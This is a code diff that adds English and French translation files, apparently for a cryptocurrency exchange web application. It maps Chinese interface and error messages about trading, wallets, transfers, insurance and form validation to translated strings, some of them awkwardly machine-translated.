||||
'修改密码成功' => 'Successful password modification',
|
||||
'请输入验证码' => 'Please enter the verification code.',
|
||||
'验证成功' => 'Verify success',
|
||||
'父级不存在' => 'Parent does not exist',
|
||||
'请重试' => 'Please Try Again',
|
||||
'参数错误:(' => 'Parameter error:(',
|
||||
'缺少参数或传值错误' => 'Lack of parameters or errors in passing values',
|
||||
'指定交易对不存在' => 'Designated transactions do not exist',
|
||||
'您未开通本交易对的交易功能' => 'You have not opened the transaction function of this transaction pair.',
|
||||
'手数必须是大于0的整数' => 'Hands must be integers greater than 0',
|
||||
'选择倍数不在系统范围' => 'Selection multiples are not within system scope',
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => 'You have a trade in liquidation and can\'t do business for the time being.',
|
||||
'交易类型错误' => 'Transaction type error',
|
||||
'该功能暂未开放' => 'This function is not yet open',
|
||||
'限价交易价格必须大于0' => 'Limit trading price must be greater than 0',
|
||||
'当前没有获取到行情价格,请稍后重试' => 'No quotation is currently available. Please try again later.',
|
||||
'限价交易卖出不能低于当前价' => 'Limit trading cannot be sold below the current price',
|
||||
'限价交易买入价格不能高于当前价' => 'Limited transaction purchase price should not be higher than current price',
|
||||
'钱包未找到,请先添加钱包' => 'Wallet not found, Please add wallet first',
|
||||
'提交失败' => 'Failure to submit',
|
||||
'提交成功' => 'Submit successfully',
|
||||
'此功能系统未开放' => 'This function system is not open',
|
||||
'止盈止损价格不能为0' => 'Stop-loss price should not be zero',
|
||||
'找不到该笔交易' => 'The deal could not be found.',
|
||||
'买入(做多)止盈价不能低于开仓价和当前价' => 'Buy (do long) stop price should not be lower than opening price and current price',
|
||||
'买入(做多)止亏价不能高于开仓价和当前价' => 'Buy (do long) stop-loss price should not be higher than opening price and current price',
|
||||
'卖出(做空)止盈价不能高于开仓价和当前价' => 'Selling (short) stop price should not be higher than opening price and current price.',
|
||||
'卖出(做空)止亏价不能低于开仓价和当前价' => 'The selling (short) stop-loss price should not be lower than the opening price and the current price.',
|
||||
'设置成功' => 'Set up successfully',
|
||||
'设置失败' => 'Setup failed',
|
||||
'无权操作' => 'Unauthorized operation',
|
||||
'交易状态异常,请勿重复提交' => 'Trading status is abnormal, do not submit again',
|
||||
'平仓失败,请重试' => 'Closing failed. Please try again.',
|
||||
'买入方向传参错误' => 'Buying Direction Reference Error',
|
||||
'提交成功,请等待系统处理' => 'Successful submission, please wait for system processing',
|
||||
'未找到需要平仓的交易' => 'No closing transaction was found.',
|
||||
'交易不存在或已撤单,请刷新后重试' => 'Trading does not exist or has been withdrawn. Please refresh and try again.',
|
||||
'撤单失败:用户钱包不存在' => 'Failure to withdraw order: user wallet does not exist',
|
||||
'撤单失败:变更状态失败' => 'Failure to withdraw orders: Failure to change status',
|
||||
'撤单成功' => 'Successful withdrawal',
|
||||
'订单取消成功' => 'Successful cancellation of order',
|
||||
'请选择需求类型' => 'Please select the type of requirement',
|
||||
'请选择交易方式' => 'Please choose the mode of transaction.',
|
||||
'请填写单价' => 'Please fill in the unit price.',
|
||||
'请填写数量' => 'Please fill in the quantity.',
|
||||
'请填写最小交易数量' => 'Please fill in the minimum number of transactions.',
|
||||
'请选择币种' => 'Please choose currency',
|
||||
'最小交易数量不能大于总数量' => 'The minimum number of transactions shall not be greater than the total number.',
|
||||
'请填写最大交易量' => 'Please fill in the maximum trading volume.',
|
||||
'请填写正确的最大交易量' => 'Please fill in the correct maximum trading volume.',
|
||||
'对不起,您不是该法币的商家' => 'Sorry, you are not a dealer in this French currency.',
|
||||
'对不起,您的商家账户不足' => 'Sorry, your business account is insufficient.',
|
||||
'发布成功' => 'Released successfully',
|
||||
'无此商家' => 'No such merchant',
|
||||
'参数错误2' => 'Parametric error 2',
|
||||
'无此记录' => 'No such record',
|
||||
'购买参数错误' => 'Buying parameter error',
|
||||
'请填写购买额' => 'Please fill in the purchase amount.',
|
||||
'购买额请填写数字' => 'Please fill in the figures for the purchase amount.',
|
||||
'未完成单子超过3单,请完成后再操作!' => 'More than 3 incomplete lists, please do it after completion!',
|
||||
'此条交易已完成' => 'This transaction has been completed.',
|
||||
'非法提交,数量必须大于0' => 'Illegal submission, quantity must be greater than 0',
|
||||
'您低于最低限额' => 'You are below the minimum',
|
||||
'您高于最高限额' => 'You are above the maximum limit',
|
||||
'您高于最大限制数量' => 'You are above the maximum limit',
|
||||
'未找到该商家' => 'The merchant was not found.',
|
||||
'不能操作自己的' => 'Can\'t operate your own',
|
||||
'您无此钱包账号' => 'You do not have this wallet account',
|
||||
'您的钱包已被锁定,请联系管理员' => 'Your wallet has been locked. Please contact the administrator.',
|
||||
'您的法币余额不足' => 'Your French currency balance is insufficient',
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => 'Your French currency freezes funds abnormally. Please check if you have an on-going bill of lading.',
|
||||
'您出售数量大于商家剩余数量!' => 'You sell more than the rest of the business!',
|
||||
'您购买数量大于商家剩余数量!' => 'You buy more than the rest of the business!',
|
||||
'您不是此币商家' => 'You are not a dealer in this currency.',
|
||||
'该订单已操作过,请勿重复操作' => 'This order has been operated, please do not repeat the operation.',
|
||||
'对不起,您无权操作' => 'Sorry, you have no right to operate.',
|
||||
'操作成功,请联系卖家确认' => 'Successful operation, please contact the seller to confirm',
|
||||
'该订单已操作,请勿取消' => 'This order has been operated, please do not cancel it.',
|
||||
'操作成功,订单已取消' => 'The operation was successful and the order was cancelled.',
|
||||
'对不起您不是商家' => 'Sorry, you\'re not a merchant.',
|
||||
'对不起,您不是该商家' => 'Sorry, you are not the business.',
|
||||
'该订单还未付款或已经操作过' => 'The order has not been paid or operated.',
|
||||
'订单异常' => 'Order exception',
|
||||
'您不能确认该订单' => 'You can\'t confirm the order.',
|
||||
'该用户没有此币种钱包' => 'The user does not have this currency Wallet',
|
||||
'确认成功' => 'Confirm success',
|
||||
'商家不存在' => 'Business does not exist',
|
||||
'已撤回发布' => 'Publication withdrawn',
|
||||
'该发布信息下有交易产生无法删除' => 'Transactions generated under this release information cannot be deleted',
|
||||
'撤回成功' => 'Withdrawal of success',
|
||||
'该发布信息下有交易未完成,不能标记为异常' => 'Under this release information, transactions are not completed and cannot be marked as exceptions',
|
||||
'该发布信息无异常' => 'No exception to this publication',
|
||||
'对不起,您的商家账户冻结资金不足' => 'Sorry, your merchant account is short of frozen funds.',
|
||||
'处理成功' => 'Successful treatment',
|
||||
'该币种不支持购买保险' => 'This currency does not support insurance purchases',
|
||||
'错误的金额!' => 'The wrong amount!',
|
||||
'不存在的险种!' => 'No insurance exists!',
|
||||
'不存在的币种!' => 'Nonexistent currency!',
|
||||
'已经购买了该币种的险种!' => 'We have purchased insurance in this currency!',
|
||||
'可用余额不足,无法购买!' => 'The available balance is insufficient to buy!',
|
||||
'购买成功!' => 'Successful purchase!',
|
||||
'未找到该保险' => 'Failure to find the insurance',
|
||||
'该保险正在处理中' => 'The insurance is being processed.',
|
||||
'申请索赔成功!' => 'Successful application for compensation!',
|
||||
'超出今日索赔次数!' => 'More claims than today!',
|
||||
'存在未平仓订单' => 'Existence of open warehouse orders',
|
||||
'受保资产不符合可申请索赔条件1' => 'The insured assets do not meet the eligible claim conditions 1',
|
||||
'受保资产不符合可申请索赔条件2' => 'The insured assets do not meet the eligible claim conditions 2',
|
||||
'未知受保金额去向状态' => 'Unknown status of insured amount',
|
||||
'处理成功!' => 'Handle successfully!',
|
||||
'该保险已失效' => 'The insurance has lapsed.',
|
||||
'该保险正在索赔处理中' => 'The insurance is in the process of claim processing.',
|
||||
'解约失败,存在未平仓订单' => 'Failure to cancel the contract and the existence of open warehouse orders',
|
||||
'保险解约,赔付金额' => 'Insurance termination, amount of indemnity',
|
||||
'解约成功!' => 'Successful termination!',
|
||||
'内容不能为空' => 'Content cannot be empty',
|
||||
'暂无数据' => 'No data',
|
||||
'文件大小超出' => 'File size exceeded',
|
||||
'文件类型非法' => 'Illegal file type',
|
||||
'文件类型不对' => 'Wrong file type',
|
||||
'该文件已存在' => 'The document already exists',
|
||||
'币未找到' => 'No currency found',
|
||||
'转账账户不存在!' => 'Transfer account does not exist!',
|
||||
'不能给自己转账!' => 'You can\'t transfer money to yourself!',
|
||||
'转账数量大于剩余数量!' => 'The amount of transfer is greater than the remaining amount!',
|
||||
'余额不足!' => 'Sorry, your credit is running low!',
|
||||
'通证转账成功!' => 'Passport Transfer Successful!',
|
||||
'请输入支付密码' => 'Please enter the payment password.',
|
||||
'无需升级' => 'No need to upgrade',
|
||||
'暂无钱包' => 'No Wallet',
|
||||
'升级成功' => 'Upgrade success',
|
||||
'该地址别人已经绑定过了' => 'The address has been bound by someone else.',
|
||||
'请把参数填写完整' => 'Please complete the parameters.',
|
||||
'用户已存在' => 'User already exists',
|
||||
'推荐用户不存在' => 'Recommended users do not exist',
|
||||
'转入账户不能为空' => 'Transferred account cannot be empty',
|
||||
'密码不能为空' => 'Password cannot be empty',
|
||||
'转入数量不能为空' => 'The number of transfers cannot be empty',
|
||||
'用户密码错误' => 'User password error',
|
||||
'转入成功' => 'Transfer to success',
|
||||
'密码修改成功' => 'Successful password modification',
|
||||
'请输入正确的交易数量或价格' => 'Please enter the correct transaction volume or price.',
|
||||
'用户钱包不存在' => 'User wallet does not exist',
|
||||
'对不起,您的钱包余额不足' => 'Sorry, your wallet balance is insufficient.',
|
||||
'用户不存在' => 'user does not exist',
|
||||
'未找到该发布用户' => 'The publisher was not found',
|
||||
'检测有未完成交易,请完成后再来!' => 'Detection of uncompleted transactions, please come back after completion!',
|
||||
'您的余额不足' => 'Your balance is insufficient',
|
||||
'用户信息不正确' => 'User information is incorrect',
|
||||
'对不起,这不是您的发布信息' => 'Sorry, this is not your release information.',
|
||||
'对不起,您无权撤销此记录' => 'Sorry, you have no right to revoke this record.',
|
||||
'对不起,您的账户冻结资金不足' => 'Sorry, there is not enough frozen funds in your account.',
|
||||
'取消次数已超出' => 'Cancellation times exceeded',
|
||||
'次,明天再发布' => 'Again, it will be released tomorrow.',
|
||||
',错误位于第' => 'The error is in the first place',
|
||||
'行' => 'That\'s ok',
|
||||
'您今天的取消次数已超出' => 'You have cancelled more than once today.',
|
||||
'次' => 'second',
|
||||
'在 ' => 'stay',
|
||||
'购买法币成功,增加法币余额' => 'Successful purchase of French currency, increase the balance of French currency',
|
||||
'转账数量不能小于' => 'Transfer amount should not be less than',
|
||||
'转账数量不能大于' => 'Transfer amount should not be greater than',
|
||||
'解约失败:' => 'Failure in rescission:',
|
||||
'操作成功,请联系商家确认订单' => 'Successful operation, please contact the merchant to confirm the order',
|
||||
'您还没有通过实名认证' => 'You haven\'t passed the real-name certification yet.',
|
||||
'您还没有设置收款信息' => 'You haven\'t set up the receipt information yet.',
|
||||
'撤单失败:' => 'The withdrawal failed:',
|
||||
'扣除保证金失败:' => 'Margin deduction failed:',
|
||||
'扣除手续费失败:' => 'Failure to deduct handling fees:',
|
||||
'手数不能低于' => 'The number of hands should not be less than',
|
||||
'手数不能高于' => 'Hand count should not be higher than',
|
||||
'余额不足,不能小于' => 'The balance is insufficient and should not be less than or equal to',
|
||||
'(手续费:' => '(handling fee:',
|
||||
'此法币' => 'This legal tender',
|
||||
'商家名称已存在' => 'Business name already exists',
|
||||
'请实名认证' => 'Please authenticate with your real name',
|
||||
'下单数量必须是整数' => 'Order quantity must be an integer',
|
||||
'下单数量必须是' => 'Order quantity must be',
|
||||
'最大下单数量不能超过' => 'Maximum order quantity cannot exceed :micro_max',
|
||||
'最小下单数量不能小于' => 'Minimum order quantity cannot be less than :micro_min',
|
||||
'申请成功' => 'Successful application',
|
||||
'认证成功,请等待审核' => 'Submitted successfully, please wait for review',
|
||||
'操作失败:您的信用分不足' => 'Operation failed: your credit score is insufficient :source',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => 'Operation failed: you have an open transaction, the operation is prohibited',
|
||||
'支付通道维护,请更换支付方式' => 'Payment channel maintenance, please change the payment method',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "Hello, your account has been locked, please contact customer service for details.",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "Hello, your funds have been locked, please contact customer service for details.",
|
||||
);
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Pagination Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used by the paginator library to build
|
||||
| the simple pagination links. You are free to change them to anything
|
||||
| you want to customize your views to better match your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'previous' => '« Previous',
|
||||
'next' => 'Next »',
|
||||
|
||||
];
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Password Reset Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are the default lines which match reasons
|
||||
| that are given by the password broker for a password update attempt
|
||||
| has failed, such as for an invalid token or invalid new password.
|
||||
|
|
||||
*/
|
||||
|
||||
'password' => 'Passwords must be at least six characters and match the confirmation.',
|
||||
'reset' => 'Your password has been reset!',
|
||||
'sent' => 'We have e-mailed your password reset link!',
|
||||
'token' => 'This password reset token is invalid.',
|
||||
'user' => "We can't find a user with that e-mail address.",
|
||||
|
||||
];
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Validation Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines contain the default error messages used by
|
||||
| the validator class. Some of these rules have multiple versions such
|
||||
| as the size rules. Feel free to tweak each of these messages here.
|
||||
|
|
||||
*/
|
||||
|
||||
'accepted' => 'The :attribute must be accepted.',
|
||||
'active_url' => 'The :attribute is not a valid URL.',
|
||||
'after' => 'The :attribute must be a date after :date.',
|
||||
'after_or_equal' => 'The :attribute must be a date after or equal to :date.',
|
||||
'alpha' => 'The :attribute may only contain letters.',
|
||||
'alpha_dash' => 'The :attribute may only contain letters, numbers, and dashes.',
|
||||
'alpha_num' => 'The :attribute may only contain letters and numbers.',
|
||||
'array' => 'The :attribute must be an array.',
|
||||
'before' => 'The :attribute must be a date before :date.',
|
||||
'before_or_equal' => 'The :attribute must be a date before or equal to :date.',
|
||||
'between' => [
|
||||
'numeric' => 'The :attribute must be between :min and :max.',
|
||||
'file' => 'The :attribute must be between :min and :max kilobytes.',
|
||||
'string' => 'The :attribute must be between :min and :max characters.',
|
||||
'array' => 'The :attribute must have between :min and :max items.',
|
||||
],
|
||||
'boolean' => 'The :attribute field must be true or false.',
|
||||
'confirmed' => 'The :attribute confirmation does not match.',
|
||||
'date' => 'The :attribute is not a valid date.',
|
||||
'date_format' => 'The :attribute does not match the format :format.',
|
||||
'different' => 'The :attribute and :other must be different.',
|
||||
'digits' => 'The :attribute must be :digits digits.',
|
||||
'digits_between' => 'The :attribute must be between :min and :max digits.',
|
||||
'dimensions' => 'The :attribute has invalid image dimensions.',
|
||||
'distinct' => 'The :attribute field has a duplicate value.',
|
||||
'email' => 'The :attribute must be a valid email address.',
|
||||
'exists' => 'The selected :attribute is invalid.',
|
||||
'file' => 'The :attribute must be a file.',
|
||||
'filled' => 'The :attribute field must have a value.',
|
||||
'image' => 'The :attribute must be an image.',
|
||||
'in' => 'The selected :attribute is invalid.',
|
||||
'in_array' => 'The :attribute field does not exist in :other.',
|
||||
'integer' => 'The :attribute must be an integer.',
|
||||
'ip' => 'The :attribute must be a valid IP address.',
|
||||
'ipv4' => 'The :attribute must be a valid IPv4 address.',
|
||||
'ipv6' => 'The :attribute must be a valid IPv6 address.',
|
||||
'json' => 'The :attribute must be a valid JSON string.',
|
||||
'max' => [
|
||||
'numeric' => 'The :attribute may not be greater than :max.',
|
||||
'file' => 'The :attribute may not be greater than :max kilobytes.',
|
||||
'string' => 'The :attribute may not be greater than :max characters.',
|
||||
'array' => 'The :attribute may not have more than :max items.',
|
||||
],
|
||||
'mimes' => 'The :attribute must be a file of type: :values.',
|
||||
'mimetypes' => 'The :attribute must be a file of type: :values.',
|
||||
'min' => [
|
||||
'numeric' => 'The :attribute must be at least :min.',
|
||||
'file' => 'The :attribute must be at least :min kilobytes.',
|
||||
'string' => 'The :attribute must be at least :min characters.',
|
||||
'array' => 'The :attribute must have at least :min items.',
|
||||
],
|
||||
'not_in' => 'The selected :attribute is invalid.',
|
||||
'numeric' => 'The :attribute must be a number.',
|
||||
'present' => 'The :attribute field must be present.',
|
||||
'regex' => 'The :attribute format is invalid.',
|
||||
'required' => 'The :attribute field is required.',
|
||||
'required_if' => 'The :attribute field is required when :other is :value.',
|
||||
'required_unless' => 'The :attribute field is required unless :other is in :values.',
|
||||
'required_with' => 'The :attribute field is required when :values is present.',
|
||||
'required_with_all' => 'The :attribute field is required when :values is present.',
|
||||
'required_without' => 'The :attribute field is required when :values is not present.',
|
||||
'required_without_all' => 'The :attribute field is required when none of :values are present.',
|
||||
'same' => 'The :attribute and :other must match.',
|
||||
'size' => [
|
||||
'numeric' => 'The :attribute must be :size.',
|
||||
'file' => 'The :attribute must be :size kilobytes.',
|
||||
'string' => 'The :attribute must be :size characters.',
|
||||
'array' => 'The :attribute must contain :size items.',
|
||||
],
|
||||
'string' => 'The :attribute must be a string.',
|
||||
'timezone' => 'The :attribute must be a valid zone.',
|
||||
'unique' => 'The :attribute has already been taken.',
|
||||
'uploaded' => 'The :attribute failed to upload.',
|
||||
'url' => 'The :attribute format is invalid.',
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Custom Validation Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify custom validation messages for attributes using the
|
||||
| convention "attribute.rule" to name the lines. This makes it quick to
|
||||
| specify a specific custom language line for a given attribute rule.
|
||||
|
|
||||
*/
|
||||
|
||||
'custom' => [
|
||||
'attribute-name' => [
|
||||
'rule-name' => 'custom-message',
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Custom Validation Attributes
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used to swap attribute place-holders
|
||||
| with something more reader friendly such as E-Mail Address instead
|
||||
| of "email". This simply helps us make messages a little cleaner.
|
||||
|
|
||||
*/
|
||||
|
||||
'attributes' => [],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "La quantité minimale de commande ne peut être inférieure à :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
"is_lock" => "Compte verrouillé",
|
||||
"unknown" => "Type inconnu",
|
||||
"1" => "Solde du compte de fonds de rapprochement de fond",
|
||||
"2" => "Solde verrouillé du compte de fonds de rapprochement de fond",
|
||||
"3" => "Solde du compte en monnaie de réglage de fond",
|
||||
"4" => "Compte de monnaie de rapprochement de fond",
|
||||
"5" => "Solde du compte contractuel de rapprochement de fond",
|
||||
"6" => "Compte contractuel de rapprochement des antécédents",
|
||||
"7" => "Solde du compte d'option de rapprochement de fond",
|
||||
"8" => "Compte d'option de rapprochement de fond",
|
||||
"9" => "Transfert du compte de capital du compte de transaction",
|
||||
"10" => "Transfert du compte de transaction au compte de capital",
|
||||
"11" => "Transferts de fonds",
|
||||
"12" => "Transferts de fonds",
|
||||
"13" => "Transfert du compte contractuel au compte de transaction",
|
||||
"14" => "Transfert du compte contractuel au compte de transaction",
|
||||
"15" => "Compte de transaction à compte contractuel",
|
||||
"16" => "Compte contractuel transfert du compte de transaction",
|
||||
"33" => "Invitation au remboursement de la Commission",
|
||||
"99" => "Retrait par l'utilisateur",
|
||||
"102" => "Annuler une transaction d'achat",
|
||||
"103" => "Annuler la vente",
|
||||
"65" => "Solde des opérations de transfert de fonds",
|
||||
"66" => "Transfert du solde des opérations de change",
|
||||
"67" => "Transfert du solde des opérations contractuelles",
|
||||
"206" => "Virements aux contrats et réductions de fonds",
|
||||
"207" => "Transfert de fonds au contrat, augmentation du contrat",
|
||||
"208" => "Le transfert des fonds du contrat est approuvé et le contrat est réduit.",
|
||||
"209" => "Le transfert du Fonds contractuel est approuvé et le Fonds est augmenté.",
|
||||
"210" => "Conversion contractuelle en capital, gel de la valeur de conversion contractuelle",
|
||||
"211" => "Le contrat est transféré au Fonds et n'est pas approuvé pour le dégel.",
|
||||
"107" => "Conversion de certificats en USD",
|
||||
"37" => "Conversion des certificats, augmentation de la monnaie contractuelle",
|
||||
"212" => "Libération historique des gains et pertes, augmentation de la monnaie contractuelle",
|
||||
"105" => "Certificat de récompense",
|
||||
"106" => "Récompense monnaie numérique",
|
||||
"108" => "Carte de régulation",
|
||||
"38" => "Demande de déduction de la tvus pour devenir un commerçant",
|
||||
"39" => "Conversion des actifs, réduction des fonds en monnaie de détention",
|
||||
"40" => "Échange d'actifs, augmentation du capital usdt",
|
||||
"41" => "Activer le patron",
|
||||
"42" => "Mine lock - out",
|
||||
"43" => "Transfert du solde du compte boss",
|
||||
"44" => "Retour de la serrure",
|
||||
"45" => "Defi funding record",
|
||||
"51" => "Opérations en monnaie",
|
||||
"50" => "Blocage des transactions en monnaie",
|
||||
"100" => "Retrait réussi",
|
||||
"101" => "Échec de la collecte de pièces",
|
||||
"700" => "Ieo Order",
|
||||
"701" => "Augmentation du transfert de devises",
|
||||
"702" => "Diminution du transfert de devises",
|
||||
"703" => "Frais de transfert de devises",
|
||||
"704" => "Mine lock - out",
|
||||
"705" => "Revenus de l'exploitation minière",
|
||||
"706" => "Le singulier inférieur ne peut être inférieur à",
|
||||
"1000" => "Achat de double monnaie",
|
||||
"1001" => "Règlement financier en double monnaie",
|
||||
"707" => "Suivre l'achat - déduire la marge",
|
||||
"708" => "Suivre l'achat - déduire les frais de manutention",
|
||||
"1002" => "Acheter NFT",
|
||||
"1003" => "Déduction de la marge de soumission",
|
||||
"1005" => "NFT Auction Order payment",
|
||||
"1004" => "Dépôt de remboursement des soumissions",
|
||||
'32' => "Gel d'évasion",
|
||||
'35' => "Frais de transaction",
|
||||
'30' => "Les transactions contractuelles déduisent la marge",
|
||||
];
|
||||
@@ -0,0 +1,320 @@
|
||||
<?php
|
||||
//法语
|
||||
return array(
|
||||
'请登录' => 'veuillez vous connecter',
|
||||
"退出登录成功" => "Connexion de sortie réussie",
|
||||
"电话不能为空" => "Le téléphone ne peut pas être vide",
|
||||
"账号已存在" => "Le compte existe déjà",
|
||||
"两次密码不一致" => "Les mots de passe sont incohérents deux fois",
|
||||
"用户未找到" => "Utilisateur introuvable",
|
||||
"钱包已添加,请勿重复添加" => "Le portefeuille a été ajouté, ne le répétez pas",
|
||||
"添加成功" => "Ajouté avec succès",
|
||||
"参数错误" => "Erreur de paramètre",
|
||||
"支付密码错误" => "Mot de passe de paiement incorrect",
|
||||
"余额不足" => "Solde insuffisant",
|
||||
"转账至交易所钱包" => "Transfert au portefeuille de change",
|
||||
"转账成功" => "Transfert réussi",
|
||||
"找不到用户" => "Utilisateur introuvable",
|
||||
"用户钱包未找到" => "Portefeuille de l'utilisateur introuvable",
|
||||
"接收来自交易所的转账" => "Recevoir des transferts de la Bourse",
|
||||
"您还没有钱包" => "Tu n'as pas encore de portefeuille.",
|
||||
"请输入正确的值" => "Veuillez saisir la bonne valeur",
|
||||
"地址输入有误" => "Erreur d'adresse",
|
||||
"地址输入有误1" => "Erreur d'adresse 1",
|
||||
"不能转账给自己" => "Ne peut pas se transférer",
|
||||
"暂时还没有添加币种" => "Aucune devise n'a été ajoutée pour le moment",
|
||||
"此币种不存在" => "Cette monnaie n'existe pas",
|
||||
"已经有此提币地址" => "Cette adresse de retrait de monnaie existe déjà",
|
||||
"添加提币地址成功" => "Ajout réussi de l'adresse de retrait de monnaie",
|
||||
"此提币地址不存在" => "Cette adresse de retrait de monnaie n'existe pas",
|
||||
"您没有权限删除此地址" => "Vous n'avez pas la permission de supprimer cette adresse",
|
||||
"删除提币地址成功" => "Suppression réussie de l'adresse de retrait de monnaie",
|
||||
"输入的金额不能为负数" => "Le montant entré ne peut pas être négatif",
|
||||
"您有正在进行中的杆杠交易,不能进行此操作" => "Vous avez une transaction en cours et ne pouvez pas effectuer cette opération",
|
||||
"钱包不存在" => "Le portefeuille n'existe pas",
|
||||
"划转成功" => "Transfert réussi",
|
||||
"币种不存在" => "La monnaie n'existe pas",
|
||||
"您还没有添加提币地址" => "Vous n'avez pas ajouté d'adresse de retrait de monnaie",
|
||||
"数量不能少于最小值" => "La quantité ne doit pas être inférieure au minimum",
|
||||
"提币申请已成功,等待审核" => "La demande de retrait de devises a été acceptée et est en attente d'approbation.",
|
||||
"类型错误" => "Mauvais type",
|
||||
"钱包未找到" => "Portefeuille introuvable",
|
||||
"数量不能小于等于0" => "La quantité ne peut être inférieure ou égale à 0",
|
||||
"价格不能小于等于0" => "Le prix ne peut être inférieur ou égal à 0",
|
||||
"参数错误哦" => "Erreur de paramètre",
|
||||
"数量不足" => "Nombre insuffisant",
|
||||
"操作成功" => "Opération réussie",
|
||||
"真实姓名必须填写" => "Le vrai nom doit être rempli",
|
||||
"收款信息至少选填一项" => "Au moins un élément doit être rempli pour les renseignements sur la perception.",
|
||||
"保存成功" => "Enregistrer avec succès",
|
||||
"密码错误" => "Erreur de mot de passe",
|
||||
"当前行情小于等于零!" => "Le marché actuel est inférieur ou égal à zéro!",
|
||||
"参数错误!" => "Mauvais paramètre!",
|
||||
"兑换数量大于持有资产!" => "La quantité de change est supérieure à l'actif détenu!",
|
||||
"资产兑换成功!" => "L'échange d'actifs a réussi!",
|
||||
"兑换数量大于剩余数量!" => "La quantité échangée est supérieure à la quantité restante!",
|
||||
"通证兑换成功!" => "L'échange de laissez - passer est réussi!",
|
||||
"必填项信息不完整" => "Les informations requises sont incomplètes",
|
||||
"两次输入密码不一致" => "Les mots de passe entrés deux fois sont incohérents",
|
||||
"此用户不存在" => "Cet utilisateur n'existe pas",
|
||||
"此交易账号已经设置" => "Ce compte de transaction a été établi",
|
||||
"此账号已经存在" => "Ce compte existe déjà",
|
||||
"交易账号设置成功" => "Le compte de transaction a été établi avec succès",
|
||||
"验证码错误" => "Erreur de code de vérification",
|
||||
"手机绑定成功" => "Liaison téléphonique réussie",
|
||||
"邮箱绑定成功" => "Boîte aux lettres liée avec succès",
|
||||
"手势密码至少连接6个点" => "Mot de passe gestuel connecté à au moins 6 points",
|
||||
"两次手势密码不相同" => "Le mot de passe des deux gestes est différent",
|
||||
"手势密码添加成功" => "Mot de passe du geste ajouté avec succès",
|
||||
"取消手势密码成功" => "Mot de passe du geste annulé avec succès",
|
||||
"密码只能在6-16位之间" => "Le mot de passe ne peut être que de 6 à 16 bits",
|
||||
"交易密码设置成功" => "Mot de passe de transaction défini avec succès",
|
||||
"暂时还没有邀请排行榜,快去邀请吧" => "Il n'y a pas de liste d'invitation pour le moment.",
|
||||
"会员未找到" => "Membre introuvable",
|
||||
"你已绑定,不可更改!" => "Vous êtes lié et ne pouvez pas être modifié!",
|
||||
"该地址已被绑定,请重新输入" => "L'adresse est déjà liée, veuillez saisir à nouveau",
|
||||
"绑定成功!" => "Liaison réussie!",
|
||||
"请提交完整的信息" => "Veuillez soumettre des informations complètes",
|
||||
"请输入合法的身份证号码" => "Veuillez saisir un numéro d'identification légal",
|
||||
"该身份证号已实名认证过!" => "Le numéro d'identification est authentifié par son vrai nom!",
|
||||
"您已经申请过了" => "Vous avez postulé",
|
||||
"提交成功,等待审核" => "Soumission réussie, en attente d'approbation",
|
||||
"您还没有交易记录" => "Vous n'avez pas encore de transaction",
|
||||
"非法操作,不能撤回非自己发布的信息" => "Opération illégale, les informations non publiées ne peuvent pas être retirées",
|
||||
"非法操作:(" => "Opérations illégales: (",
|
||||
"取销卖出交易失败" => "Échec de la transaction de vente",
|
||||
"取消成功" => "Annulation réussie",
|
||||
"非法操作" => "Opérations illégales",
|
||||
"数据未找到" => "Données introuvables",
|
||||
"请先添加钱包" => "Veuillez d'abord ajouter un portefeuille",
|
||||
"价格和数量必须大于0" => "Le prix et la quantité doivent être supérieurs à 0",
|
||||
"您的币不足" => "Vous n'avez pas assez de monnaie",
|
||||
"您的冻结资金异常,禁止挂卖" => "Votre Fonds gelé est anormal.",
|
||||
"你今天的交易额度已达到上限!" => "Vous avez atteint votre limite de négociation aujourd'hui!",
|
||||
"系统配置错误,请联系系统管理员" => "Erreur de configuration du système, contactez votre administrateur système",
|
||||
"手机号不能为空" => "Le numéro de téléphone ne peut pas être vide",
|
||||
"发送成功" => "Envoyé avec succès",
|
||||
"账号错误" => "Erreur de compte",
|
||||
"请填写手机号" => "Veuillez remplir le numéro de téléphone",
|
||||
"参数不全" => "Paramètre incomplet",
|
||||
"服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!" => "L'espace serveur n'est pas pris en charge. Veuillez confirmer que Curl ou fsocket est pris en charge. Contactez votre fournisseur d'espace pour résoudre ou remplacer l'espace!",
|
||||
"帐户已过期" => "Compte expiré",
|
||||
"IP地址限制" => "Limite d'adresse IP",
|
||||
"账号被禁用" => "Compte désactivé",
|
||||
"内容含有敏感词" => "Le contenu contient des mots sensibles",
|
||||
"ip参数不正确" => "Paramètres IP incorrects",
|
||||
"邮箱不能为空" => "La boîte aux lettres ne peut pas être vide",
|
||||
"操作错误" => "Erreur de fonctionnement",
|
||||
"无此币种" => "Pas de monnaie",
|
||||
"该币不是法币" => "Ce n'est pas une monnaie légale.",
|
||||
"用户名不能为空" => "Le nom d'utilisateur ne peut pas être vide",
|
||||
"名称不能为空" => "Le nom ne peut pas être vide",
|
||||
"资产不能为空" => "L'actif ne peut pas être vide",
|
||||
